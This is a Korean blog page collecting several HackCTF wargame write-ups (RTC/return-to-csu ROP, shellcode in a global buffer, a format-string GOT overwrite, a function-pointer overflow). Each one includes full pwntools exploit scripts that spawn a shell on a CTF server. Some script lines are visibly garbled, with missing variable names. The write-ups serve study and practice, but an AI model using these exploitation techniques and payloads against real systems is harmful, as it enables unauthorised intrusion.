문제 바이너리를 file 명령어로 확인하면 64비트 실행 파일임을 확인할 수 있다.

적용된 보호기법을 확인하면 다음과 같다. 

gdb로 main 함수를 확인하면 다음과 같다. 

write 함수와 read함수를 호출하고 있다. main 함수를 ida 헥스레이 기능으로 확인하면 다음과 같다. 

read 함수에서 bof 취약점이 발생한다. 

문제 이름이 RTC이기 때문에 RTC공격 기법으로 이 문제를 풀이할 것이다. RTC는 Return To Csu 라는 의미로 __libc_csu_init() 함수의 일부 코드를 가젯으로 이용하는 기술이다. 이를 통해 최대 3개 인자를 갖는 함수를 호출할 수 있다. 

objdump -M intel -d 명령으로 __libc_csu_init()함수의 어셈 코드를 확인할 수 있다. 

이 함수에서 가젯으로 사용하는 부분은 0x4006ba~0x4006c4(이하 stage1)과 0x4006a0~0x4006a9(이하 stage2) 부분을 사용한다. stage1은 pop~ret 형태로 되어 있어 공격자가 원하는 값(인자)을 레지스터에 넣을 수 있고, stage2에서 stage1에서 구성된 값으로 최대 3개의 인자를 가지고 함수를 호출할 수 있다. stage1에서 r12 ~ r14 레지스터에 각 인자들이 저장되고, r15레지스터에 함수 포인터가 저장된다. stage1을 설정할 땐 rbx는 0으로 설정하는 것이 좋다. stage2에서 [r12+rbx*8]연산을 할 때 rbx가 0이면 주소 계산이 더 쉬워진다.

RTC에서는 호출하고자 하는 함수의 got을 사용한다. 또한 바이너리 내에서 호출하지 않는 함수를 직접 호출하고 싶다면 쓰기 권한이 있는 메모리 영역에 호출할 함수의 주소를 쓰고, 함수 주소가 쓰여진 주소를 사용하여 호출해야 한다. 

처음 RTC로 stage2가 실행된 후 0x4006b1 주소에서 rbx와 rbp를 비교하여 같지 않으면  stage2를 다시 실행하고, 같으면 jne코드를 통과하여 stage1을 실행하며 RTC를 이어 나갈 수 있다. 

jne 코드를 넘어가고 stage1pop~ret gadget이 실행하기 전 add rsp, 0x8로 스택이 한 칸씩 줄어든다는 점을 고려 해야 한다.

 

이제 RTC를 이용하여 문제 바이너리를 익스플로잇할 시나리오를 생각해보면 먼저 write함수의 got 주소를 leak하고, bss 영역에 /bin/sh문자열을 쓰고, write got 주소에 execve 함수 주소를 쓴다. execve 함수 주소는 처음에 leak한 write함수 got주소를 이용해 libc base 주소를 구하여 구할 수 있다. 그리고 bss를 인자로 넣어 write got을 실행하면 그 부분에 execve 함수 주소가 쓰여져 있어 쉘을 딸 수 있게 된다. 이 시나리오 대로 익스플로잇 코드를 작성하면 다음과 같다. 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3025)
e = ELF("./rtc")
libc = ELF("libc.so.6")

write_got = e.got["write"]
read_got = e.got["read"]
binsh = "/bin/sh\x00"
bss = e.bss()
s1 = 0x4006ba
s2 = 0x4006a0

p.recvuntil("?\n")

pay = "A" * 0x48
# leak write got
pay += p64(s1)
pay += p64(0)
pay += p64(1)
pay += p64(write_got)
pay += p64(8)
pay += p64(read_got)
pay += p64(1)
pay += p64(s2)

# write binsh
pay += p64(0)
pay += p64(0)
pay += p64(1)
pay += p64(read_got)
pay += p64(8)
pay += p64(bss)
pay += p64(0)
pay += p64(s2)

# write execve
pay += p64(0)
pay += p64(0)
pay += p64(1)
pay += p64(read_got)
pay += p64(8)
pay += p64(write_got)
pay += p64(0)
pay += p64(s2)

# execve("/bin/sh", 0, 0)
pay += p64(0)
pay += p64(0)
pay += p64(1)
pay += p64(write_got)
pay += p64(0)
pay += p64(0)
pay += p64(bss)
pay += p64(s2)

p.send(pay)

read = u64(p.recv(6).ljust(8, "\x00"))
print(hex(read))
lb = read - libc.symbols["read"]
execve = lb + libc.symbols["execve"]

pay = ""
pay += binsh
pay += p64(execve)

p.send(pay)
p.interactive()

 

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] UAF  (0) 2021.11.12
[Hack CTF] Beginner_Heap  (0) 2021.10.18
[HackCTF] Yes or no  (0) 2021.08.23
[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] RTL_Core  (0) 2021.07.30

문제 파일을 실행해 보면 다음과 같이 두번 입력을 받고 있다.

file 명령으로 파일을 확인해보면 32비트 리눅스 실행파일임을 확인할 수 있다.

이 프로그램에서 사용된 함수의 목록은 다음과 같다.

main 함수는 다음과 같다.

printf 함수로 Name: 과 input : 을 출력하고, 두 번의 입력 중 한 번은 read 함수로, 다른 한 번은 gets 함수로 입력을 받고 있는 것 같다.

main 함수를 IDA 헥스레이로 확인해보면 다음과 같다.

20크기의 배열이 선언되어 있고, gets 함수를 통해서 s에 값을 입력받는다. 입력받을 때 입력받는 값을 제한하지 않아서 bof 가 발생할 수 있다. 프로그램 내부에 시스템 함수가 없어서 쉘 코드를 넣어야 하는데 s는 크기가 20밖에 안되서 전역변수 name을 사용해야 할 것 같다.

전역변수 name의 주소는 0x804A060 이다.

name 변수에 쉘 코드를 넣고 배열 s 를 이용하여 name 변수의 쉘 코드를 실행해야 하는데, name 변수의 주소를 덮어 써서 쉘을 실행하려면 RET에 덮어써야 하므로 배열 s의 크기 20에 sfp 4byte를 더한 24byte를 채우고 name변수의 주소를 넣으면 된다.

쉘 코드는 shell-storm.org/shellcode 사이트에서 만들어진 쉘 코드를 사용할 수 있다.

 

shell-storm | Shellcodes Database

Shellcodes database for study cases Description Although these kinds of shellcode presented on this page are rarely used for real exploitations, this page lists some of them for study cases and proposes an API to search specific ones. Thanks all for your c

shell-storm.org

다음과 같이 파이썬 코드를 짜고 실행하면 쉘을 딸 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
 
p=remote("ctf.j0n9hyun.xyz",3003)
sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
name_addr = p32(0x804A060)
pay = "A"*24
pay = pay.encode() + name_addr
 
p.recvuntil("Name :")
p.sendline(sh)
p.recvuntil("input :")
p.sendline(pay)
 
p.interactive()
cs

문제 이름으로 문제를 예상해 봤을 때 FSB취약점을 이용한 문제인 것 같아서 FSB 취약점에 대해 찾아보니 Format String Bug 라는 뜻으로 포맷 스트링을 사용하는 함수에서 %s 와 같은 포맷 스트링 문자를 사용자가 통제할 수 있을 때 발생하는 취약점이라 한다.

file 명령어를 통해 확인하면 리눅스 32비트 실행파일임을 확인할 수 있다.

gdb로 main 함수를 확인하면 다음과 같다.

스택에 eax(0x804a044) 값을 넣어주고, setvbuf 함수를 실행하고 있다.

setvbuf함수는 스트림의 버퍼링과 버퍼 크기를 모두 제어할 수 있는 함수이다.

이후 vuln 함수가 실행되고 있다.

vuln 함수를 확인해보면 다음과 같다.

해당 함수의 주소에 접근할 수 없다고 한다.

main 함수를 IDA 헥스레이로 보면 다음과 같다.

setvbuf 함수와 vuln 함수만 실행되고 있고, 어셈블리 코드에서 setvbuf 함수가 실행되기 전에 push 됬던 값들이 setvbuf 함수의 인자로 들어가고 있다.

vuln 함수는 다음과 같다.

vuln 함수에서 값을 입력받고, 입력받은 값을 출력해준다. 그리고 format 출력을 반환한다. snprintf는 버퍼 오버플로우를 막기 위해 두번째 인자로 문자열의 길이를 지정하는 함수라고 한다.

snpintf함수에서 입력받은 값을 format 버퍼에 저장하고 있고, 이후 printf함수에서 포맷 스트링 없이 format 변수를 그대로 출력하고 있다.

IDA로 프로그램을 봤을 때 flag 라는 함수도 있어서 이 함수도 확인해 봤다.

flag 함수에서 system 함수로 쉘을 실행하고 있고 결과적으로 이 함수를 실행시켜야 할 것 같다.

vuln 함수와 flag 함수의 주소는 다음같다.

vuln : 0x0804854b

flag : 0x080485b4

또한 다음과 같이 프로그램을 실행시키고 포맷 스트링을 입력하여 FSB 취약점이 있다는 것을 확인할 수 있다.

2번째 포맷스트링부터 입력한 AAAA가 들어가고 있다.

AAAA가 들어간 위치에 printf@got 주소를 넣고, %n으로 flag()함수 주소의 10진수 값에서 앞에서 입력한 4byte 만큼을 뺀 값(134514096)을 넣으면 flag 함수가 실행되서 쉘을 딸 수 있다.

1
2
3
4
5
6
7
8
9
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3002)
pay = p32(0x804a00c)
flag_func = "%134514096x%n"
pay = pay + flag_func.encode()
 
p.sendline(pay)
p.interactive()
cs

file 명령어로 문제 파일을 확인해보면 리눅스 32비트 실행파일임을 확인할 수 있다.

gdb로 메인 함수를 보면 다음과 같다.

저번 문제와 다르게 main 함수에서 시스템 함수를 실행하고 있지 않고, fgets 함수로 입력값만 받고 있다.

info func로 이 프로그램에서 정의된 함수 목록을 확인하면 다음과 같다.

system 함수가 사용되고 있고, shell 이라는 함수가 정의되어 있다. shell 함수의 내용을 보면 다음과 같다.

shell 함수안에서 system 함수가 사용되고 있으므로 프로그램에서 shell 함수를 실행시키면 system 함수가 실행되서 쉘을 딸 수 있을 것 같다.

우선 main함수를 ida 헥스레이로 확인하면 다음과 같다.

128 크기의 배열을 선언하였고, v5라는 비어있는 포인터 변수가 선언되어 있다.

다시 main 함수의 어셈에서 한줄씩 실행하다 보면 main+59, call eax 를 실행했을 때 프로그램을 실행하고 값을 입력했을 경우 출력되는 문자열이 나온다. 이것이 main 함수 hex-ray에서 8번째 줄 v5(); 에 해당하는 값 같고, fgets 함수가 실행될 때 오버플로우를 발생시켜 v5에 저장된 값을 내가 원하는 값으로 덮으면 될 것 같다.

또한 shell 함수를 ida 헥스레이로 확인하면 다음과 같다.

시스템 함수로 dash 쉘을 실행시키고 있다. 따라서 v5의 값을 덮어서 shell() 함수를 실행시키도록 해야 할 것 같다. v5는 포인터 변수이기 때문에 v5에 shell 함수의 주소가 들어가면 v5(); 코드를 실행했을 때 shell 함수가 실행 될 것이다.

shell 함수의 주소는 info func를 통해 함수 정보에서 확인할 수 있고, 0x804849b 이다.

main 함수에서 call eax; 에 breakpoint를 걸고 실행하여 A를 130개 넣어보니 입력받는 문자열을 저장할 배열의 크기는 128이지만 변수의 범위를 넘어서서도 A로 덮이는 것을 확인할 수 있다.

따라서 A를 128개 채우고 이후에 shell 함수의 주소로 덮으면 v5 값이 shell 함수의 주소로 덮여서 v5();를 실행하면 shell 함수가 실행될 것이다.

다음과 같이 익스 코드를 짜면 플래그를 확인할 수 있다.

1
2
3
4
5
6
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3001)
pay = "A"*128  + "\x9b\x84\x04\x08"
p.sendline(pay)
p.interactive()
cs

+ Recent posts